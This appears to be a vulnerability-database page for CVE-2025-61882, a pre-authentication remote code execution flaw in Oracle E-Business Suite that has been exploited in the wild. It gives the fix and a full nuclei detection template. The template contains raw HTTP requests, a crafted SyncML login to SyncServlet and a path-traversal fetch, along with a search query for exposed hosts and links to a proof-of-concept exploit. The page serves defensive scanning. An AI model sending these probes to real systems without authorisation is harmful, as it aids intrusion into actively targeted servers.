Browse / CVEs / CVE-2025-61882
CVE-2025-61882
Oracle E-Business Suite 12.2.3–12.2.14 – Remote Code Execution
Exploited in the wild. Listed by CISA on 2025-10-06; known to be used by ransomware.
criticalseverity
99.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Oracle Concurrent Processing 12.2.3-12.2.14 contains a remote code execution caused by unauthenticated network access via HTTP, letting unauthenticated attackers fully compromise the system, exploit requires network access via HTTP.
Impact
Unauthenticated attackers can fully compromise Oracle Concurrent Processing, leading to complete system takeover.
Fix
Update to the latest available version beyond 12.2.14.
How to confirm it
Send: POST /OA_HTML/SyncServlet
Positive when: contains "RespURI" and "Final" and "sid" AND status 200
Send: GET /OA_HTML/help/../ieshostedsurvey.jsp
Positive when: status_code == 200 and contains(body, '$Header: ieshostedsurvey.jsp')Run it with nuclei: nuclei -id CVE-2025-61882 -u <target>
The full check
id: CVE-2025-61882
info:
name: Oracle E-Business Suite 12.2.3–12.2.14 – Remote Code Execution
author: testanull,watchtowr,DhiyaneshDk,pussycat0x
severity: critical
description: |
Oracle Concurrent Processing 12.2.3-12.2.14 contains a remote code execution caused by unauthenticated network access via HTTP, letting unauthenticated attackers fully compromise the system, exploit requires network access via HTTP.
impact: |
Unauthenticated attackers can fully compromise Oracle Concurrent Processing, leading to complete system takeover.
remediation: |
Update to the latest available version beyond 12.2.14.
reference:
- https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/
- https://github.com/watchtowrlabs/watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882
- https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
- https://blogs.oracle.com/security/post/apply-july-2025-cpu
- https://vred.mbbank.com.vn/p/oracle-e-business-suite-authentication
- https://gist.github.com/testanull/a897473577b8650932221172e50304ce#file-ebs_cve-2025-61882_poc-py
metadata:
verified: true
max-request: 1
fofa-query: title="E-Business Suite"
tags: cve,cve2025,oracle,ebusiness,lfi,rce,ssrf,kev,vkev,vuln
variables:
payload: "sysadmin:INVALID"
flow: http(1) || http(2)
http:
- raw:
- |
POST /OA_HTML/SyncServlet HTTP/1.1
Host: {{Hostname}}
Content-Type: application/vnd.syncml+xml
<?xml version="1.0" encoding="UTF-8"?>
<SyncML>
<SyncHdr>
<VerDTD>1.1</VerDTD>
<VerProto>SyncML/1.1</VerProto>
<SessionID> 1</SessionID>
<MsgID>1</MsgID>
<Target><LocURI>http://localhost</LocURI></Target>
<Source><LocURI>device-123</LocURI></Source>
<Cred>
<Meta>
<Format>b64</Format>
<Type>syncml:auth-basic</Type>
</Meta>
<Data>{{base64(payload)}}</Data>
</Cred>
</SyncHdr>
<SyncBody>
<Alert>
<CmdID>1</CmdID>
<Data>200</Data>
</Alert>
<Final/>
</SyncBody>
</SyncML>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "RespURI"
- "Final"
- "sid"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: sid
part: body
group: 1
regex:
- 'sid%3([A-Za-z0-9]+)%26device'
- raw:
- |
GET /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
name: lfi
dsl:
- "status_code == 200"
- "contains(body, '$Header: ieshostedsurvey.jsp')"
condition: andReferences
- https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/
- https://github.com/watchtowrlabs/watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882
- https://www.oracle.com/security-alerts/alert-cve-2025-61882.html
- https://blogs.oracle.com/security/post/apply-july-2025-cpu
- https://vred.mbbank.com.vn/p/oracle-e-business-suite-authentication
- https://gist.github.com/testanull/a897473577b8650932221172e50304ce#file-ebs_cve-2025-61882_poc-py
Use this check only on systems you are authorised to test. Where the data comes from